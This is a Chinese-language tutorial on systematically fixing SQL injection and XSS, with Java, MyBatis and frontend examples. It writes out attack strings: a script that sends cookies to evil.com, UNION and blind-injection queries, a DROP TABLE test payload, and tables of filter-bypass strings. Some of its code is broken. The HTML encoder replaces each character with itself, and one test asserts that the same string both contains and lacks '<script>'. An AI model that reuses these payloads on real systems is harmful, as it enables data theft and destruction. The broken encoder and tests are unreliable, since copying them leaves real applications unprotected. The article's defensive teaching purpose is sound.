SQL注入与XSS防御:常见Web漏洞的系统性修复
一、一次注入,全库裸奔
2024年某高校教务系统被黑:攻击者用一条URL/api/student?id=1 OR 1=1,直接拖走全校3万学生的成绩单、身份证号、家庭住址。
事后代码审查发现,这条查询是这么写的:
java
// 灾难级代码
String sql = "SELECT * FROM student WHERE id = " + request.getParameter("id");
没有预编译,没有参数化,没有校验------赤裸裸地把用户输入拼进SQL。
同样,某论坛被XSS攻击:用户昵称设为<script>document.location='http://evil.com/?c='+document.cookie</script>,所有访问该用户主页的人,Cookie被自动发送到攻击者服务器。
这两类漏洞占比:OWASP Top 10中,SQL注入排第3,XSS排第4。它们不是新问题,但每年仍在大量系统中出现。
二、SQL注入防御体系
2.1 SQL注入原理与分类
【注入原理】
用户输入 → 直接拼入SQL → 改变SQL语义 → 执行攻击者构造的SQL
【分类】
┌─────────────────────────────────────┐
│ SQL注入类型 │
├──────────────┬──────────────────────┤
│ 经典注入 │ UNION SELECT注入 │
│ │ 布尔盲注 │
│ │ 时间盲注 │
│ │ 报错注入 │
├──────────────┼──────────────────────┤
│ 高级注入 │ 二次注入 │
│ │ 堆叠查询 │
│ │ 编码绕过 │
│ │ WAF绕过 │
├──────────────┼──────────────────────┤
│ 特殊场景 │ ORM注入 │
│ │ 存储过程注入 │
│ │ NoSQL注入 │
└──────────────┴──────────────────────┘
经典注入示例:
sql
-- 正常查询
SELECT name, email FROM users WHERE id = 1
-- UNION注入:拼接额外查询
SELECT name, email FROM users WHERE id = 1 UNION SELECT password, secret FROM admin
-- 布尔盲注:通过条件判断逐步提取数据
SELECT name FROM users WHERE id = 1 AND (SELECT LENGTH(password) FROM admin WHERE username='root') > 8
-- 时间盲注:无回显时用延迟判断
SELECT name FROM users WHERE id = 1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)
2.2 预编译参数化------第一道防线
java
// 正确做法:预编译 + 参数化
@Service
public class StudentService {
@Autowired
private JdbcTemplate jdbcTemplate;
// 1. 使用PreparedStatement(最基本防御)
public Student findById(String id) {
String sql = "SELECT * FROM student WHERE id = ?";
return jdbcTemplate.queryForObject(sql,
new BeanPropertyRowMapper<>(Student.class), id);
}
// 2. 批量查询:同样参数化
public List<Student> findByClass(String classId) {
String sql = "SELECT * FROM student WHERE class_id = ? AND status = ?";
return jdbcTemplate.query(sql,
new BeanPropertyRowMapper<>(Student.class), classId, "ACTIVE");
}
// 3. 动态排序:不能直接参数化ORDER BY,需白名单校验
public List<Student> listStudents(String orderBy, String direction) {
// 白名单校验排序字段
Set<String> allowedFields = Set.of("id", "name", "score", "created_at");
Set<String> allowedDirs = Set.of("ASC", "DESC");
if (!allowedFields.contains(orderBy)) {
orderBy = "id"; // 默认值
}
if (!allowedDirs.contains(direction.toUpperCase())) {
direction = "ASC";
}
String sql = String.format("SELECT * FROM student ORDER BY %s %s",
orderBy, direction);
return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(Student.class));
}
}
2.3 MyBatis安全配置
xml
<!-- MyBatis安全用法 -->
<!-- 1. 使用#{}而非${} -->
<select id="findById" resultType="Student">
SELECT * FROM student WHERE id = #{id} <!-- 预编译,安全 -->
</select>
<!-- 2. ${}的危险性------直接拼入SQL -->
<select id="findByColumn" resultType="Student">
<!-- 错误示范 -->
SELECT * FROM student ORDER BY ${column} <!-- 直接拼接,可注入! -->
</select>
<!-- 3. 动态SQL安全用法 -->
<select id="search" resultType="Student">
SELECT * FROM student
<where>
<if test="name != null">
AND name LIKE CONCAT('%', #{name}, '%') <!-- 参数化LIKE -->
</if>
<if test="minScore != null">
AND score >= #{minScore} <!-- 参数化范围 -->
</if>
</where>
</select>
关键规则 :#{}用于参数值(预编译),${}用于SQL结构(列名/表名)------后者必须白名单校验。
2.4 ORM框架注入风险
java
// JPA/Hibernate同样有注入风险
@Entity
public class Student { ... }
// 安全用法
@Query("SELECT s FROM Student s WHERE s.id = :id") // 参数化
Student findById(@Param("id") String id);
// 危险用法
@Query("SELECT s FROM Student s WHERE s.classId = ?1 ORDER BY ?2") // ?2注入
List<Student> findByClass(String classId, String orderBy);
// ORDER BY不能用参数化,需要白名单校验
// Spring Data JPA Specification(安全的动态查询)
public class StudentSpecs {
public static Specification<Student> hasName(String name) {
return (root, query, cb) ->
cb.like(root.get("name"), "%" + name + "%"); // 自动参数化
}
}
三、XSS防御体系
3.1 XSS原理与分类
【XSS分类】
┌──────────────────────────────────────────┐
│ XSS攻击类型 │
├───────────────┬─────────────────────────┤
│ 反射型XSS │ 攻击代码在URL参数中 │
│ │ 服务器直接返回给浏览器 │
├───────────────┼─────────────────────────┤
│ 存储型XSS │ 攻击代码存入数据库 │
│ │ 每次访问页面都会触发 │
├───────────────┼─────────────────────────┤
│ DOM型XSS │ 纯前端漏洞 │
│ │ JS直接操作DOM导致 │
└───────────────┴─────────────────────────┘
存储型XSS危害最大:攻击代码持久化存储,每个访问者都会受害。
javascript
// 反射型XSS示例
// URL: /search?q=<script>alert(document.cookie)</script>
// 服务器返回:搜索结果:<script>alert(document.cookie)</script>
// DOM型XSS示例
// URL: /page#<img src=x onerror=alert(1)>
// 前端JS:document.getElementById('content').innerHTML = location.hash
3.2 输出编码------XSS防御核心
防御原则 :不是阻止输入,而是安全输出。根据输出上下文选择不同的编码方式。
java
// HTML上下文编码
public String encodeHtml(String input) {
return input.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
// JavaScript上下文编码(更严格)
public String encodeJs(String input) {
StringBuilder sb = new StringBuilder();
for (char c : input.toCharArray()) {
if (c < 0x20 || c > 0x7e || c == '"' || c == '\'' || c == '\\' || c == '<') {
sb.append(String.format("\\x%02x", (int) c));
} else {
sb.append(c);
}
}
return sb.toString();
}
// URL上下文编码
public String encodeUrl(String input) {
return URLEncoder.encode(input, "UTF-8");
}
不同输出上下文的编码对照:
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML标签间 | HTML实体编码 | <div>${encodeHtml(name)}</div> |
| HTML属性 | HTML属性编码 | <input value="${encodeHtml(val)}"> |
| JavaScript | JS编码 | var name = "${encodeJs(name)}" |
| URL | URL编码 | <a href="/path?q=${encodeUrl(q)}"> |
| CSS | CSS编码 | 禁止直接插入用户输入到CSS |
3.3 Spring Security XSS防护
java
// Spring Security内置XSS防护配置
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
// 1. XSS Header防护
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self'; style-src 'self'")
.and()
.xssProtection()
.headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
.and()
// 2. CORS配置(限制跨域来源)
.cors()
.configurationSource(corsConfigurationSource())
.and()
// 3. CSP(内容安全策略)
.headers()
.addHeaderWriter(new StaticHeadersWriter(
"Content-Security-Policy",
"default-src 'self'; " +
"script-src 'self' 'nonce-{nonce}'; " +
"object-src 'none'; " +
"frame-src 'none'"));
}
}
// 输入过滤:全局XSS过滤器
@Component
public class XssFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
chain.doFilter(new XssHttpServletRequestWrapper(
(HttpServletRequest) request), response);
}
}
// HttpServletRequest包装器:过滤所有参数
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
return value != null ? cleanXss(value) : null;
}
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values == null) return null;
return Arrays.stream(values).map(this::cleanXss).toArray(String[]::new);
}
private String cleanXss(String value) {
// 移除危险标签
value = value.replaceAll("<script.*?>.*?</script>", "");
value = value.replaceAll("on\\w+\\s*=\\s*\".*?\"", "");
value = value.replaceAll("javascript:", "");
return value;
}
}
3.4 前端XSS防护
javascript
// React:默认对JSX中的变量做HTML编码
const name = userInput; // 自动编码
return <div>{name}</div>; // 安全,自动转义
// 危险操作:dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{__html: rawHtml}} />; // 危险!
// 使用前必须对rawHtml做XSS清洗
// DOMPurify清洗富文本
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(rawHtml);
return <div dangerouslySetInnerHTML={{__html: cleanHtml}} />; // 安全
// Vue:v-html同样危险
<div v-html="rawHtml"></div> // 危险!需要清洗
<div v-html="sanitize(rawHtml)"></div> // 安全
// CSP nonce方案(最安全的动态脚本方式)
// 服务端生成nonce,注入到CSP header和script标签
const nonce = generateNonce();
// HTTP Header: Content-Security-Policy: script-src 'nonce-abc123'
// HTML: <script nonce="abc123">...</script>
四、系统性修复方案
4.1 安全编码规范
【SQL注入防御规范】
1. 所有SQL查询必须使用预编译参数化(#{}或PreparedStatement)
2. 禁止${}拼接SQL结构(列名、表名、ORDER BY)
3. 动态SQL结构必须白名单校验
4. 禁止拼接用户输入到SQL
【XSS防御规范】
1. 所有用户输入输出前必须编码
2. 根据输出上下文选择正确的编码方式
3. 富文本必须使用白名单HTML清洗(DOMPurify/Sanitize)
4. 设置CSP Header限制脚本来源
5. Cookie设置HttpOnly和Secure标志
4.2 自动化代码审计
java
// SonarQube + 自定义规则扫描SQL注入
// 扫描所有拼接SQL的代码
// 自定义规则:检测字符串拼接SQL
@Component
public class SqlInjectionDetectorRule extends AbstractJavaRule {
@Override
public void visitNode(Tree tree) {
// 检测 String + request.getParameter() 模式
if (isSqlConcatenation(tree)) {
addIssue(tree, "SQL注入风险:禁止字符串拼接SQL,使用预编译参数化");
}
}
}
// 扫描配置
sonarqube_rules:
- "SQL_CONCATENATION" # SQL拼接检测
- "MYBATIS_DOLLAR_SIGN" # ${}使用检测
- "XSS_UNSAFE_OUTPUT" # XSS未编码输出检测
- "DANGEROUSLY_SET_HTML" # dangerouslySetInnerHTML检测
4.3 安全测试体系
java
// 集成安全测试用例
@SpringBootTest
public class SecurityTestCase {
@Autowired
private StudentService studentService;
// SQL注入测试
@Test
public void testSqlInjectionResistance() {
// 常见注入payload
String[] payloads = {
"1 OR 1=1",
"1; DROP TABLE student",
"1 UNION SELECT password FROM admin",
"1' AND '1'='1",
"1/**/OR/**/1=1"
};
for (String payload : payloads) {
// 注入payload应被预编译处理,不改变SQL语义
Student result = studentService.findById(payload);
// 应返回null或报错,而非返回所有数据
assertNotNull(result == null || result.getId() == null);
}
}
// XSS编码测试
@Test
public void testXssEncoding() {
String xssPayload = "<script>alert(1)</script>";
String encoded = xssEncoder.encodeHtml(xssPayload);
assertFalse(encoded.contains("<script>"));
assertTrue(encoded.contains("<script>"));
}
}
五、防御对比与常见绕过
5.1 防御层次对比
| 防御层 | SQL注入 | XSS |
|---|---|---|
| 代码层 | 预编译参数化 | 输出编码 |
| 框架层 | ORM/JPA | Spring Security Filter |
| WAF层 | 规则拦截注入特征 | CSP + XSS Header |
| 运行层 | 数据库权限最小化 | HttpOnly + SameSite Cookie |
| 审计层 | SQL执行审计 | 输出内容审计 |
5.2 常见绕过手段与对策
SQL注入绕过:
| 绕过方式 | 示例 | 对策 |
|---|---|---|
| 编码绕过 | %27代替' |
多层解码后检测 |
| 注释绕过 | SEL/**/ECT |
去除注释后检测 |
| 大小写混合 | sElEcT |
大小写规范化 |
| 等价函数 | SUBSTR→MID→SUBSTRING |
覆盖所有等价写法 |
| 宽字节 | %bf%27 |
指定字符集编码 |
XSS绕过:
| 绕过方式 | 示例 | 对策 |
|---|---|---|
| 标签变形 | <ScRiPt> |
大小写规范化 |
| 事件属性 | <img onerror=alert(1)> |
禁止所有on*事件 |
| 伪协议 | <a href="javascript:alert(1)"> |
禁止javascript协议 |
| 编码绕过 | <script> |
多层解码后检测 |
| SVG/MathML | <svg onload=alert(1)> |
白名单HTML清洗 |
六、实战:从漏洞到修复的完整案例
6.1 漏洞代码
java
// 某论坛系统的用户搜索功能------同时存在SQL注入和XSS
@Controller
public class ForumController {
// SQL注入:直接拼接用户输入
public List<User> searchUsers(String keyword) {
String sql = "SELECT * FROM users WHERE nickname LIKE '%" + keyword + "%'";
return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(User.class));
}
// XSS:直接输出用户昵称到HTML
public String getUserProfile(String userId) {
User user = userService.findById(userId);
return "<div class='profile'><h2>" + user.getNickname() + "</h2></div>";
}
}
6.2 修复代码
java
@Controller
public class ForumController {
// SQL注入修复:预编译参数化
public List<User> searchUsers(String keyword) {
String sql = "SELECT * FROM users WHERE nickname LIKE CONCAT('%', ?, '%')";
return jdbcTemplate.query(sql,
new BeanPropertyRowMapper<>(User.class), keyword);
}
// XSS修复:输出编码 + 模板引擎自动编码
public String getUserProfile(String userId) {
User user = userService.findById(userId);
// 使用Thymeleaf模板,自动HTML编码
return "profile"; // 渲染Thymeleaf模板
}
}
// Thymeleaf模板(自动编码)
// <div class="profile"><h2 th:text="${user.nickname}"></h2></div>
七、总结
SQL注入和XSS是最常见也最容易被修复的Web漏洞------修复成本很低,但忽略的代价极高。
核心要点:
- SQL注入防御:预编译参数化是唯一正确做法,白名单校验动态SQL结构
- XSS防御:根据输出上下文选择编码方式,富文本用白名单清洗,CSP作为兜底
- 系统性修复:安全编码规范 + 自动化审计 + 安全测试三层保障
- 防御纵深:代码层、框架层、WAF层、运行层、审计层多重防线
- 永不过时:这两类漏洞每年都在OWASP Top 10中,没有借口忽略
一句话总结:预编译治注入,编码治XSS,白名单治动态,纵深治绕过。
作者:架构实战团队
日期:2026-07-16
标签:#SQL注入 #XSS #Web安全 #预编译 #输出编码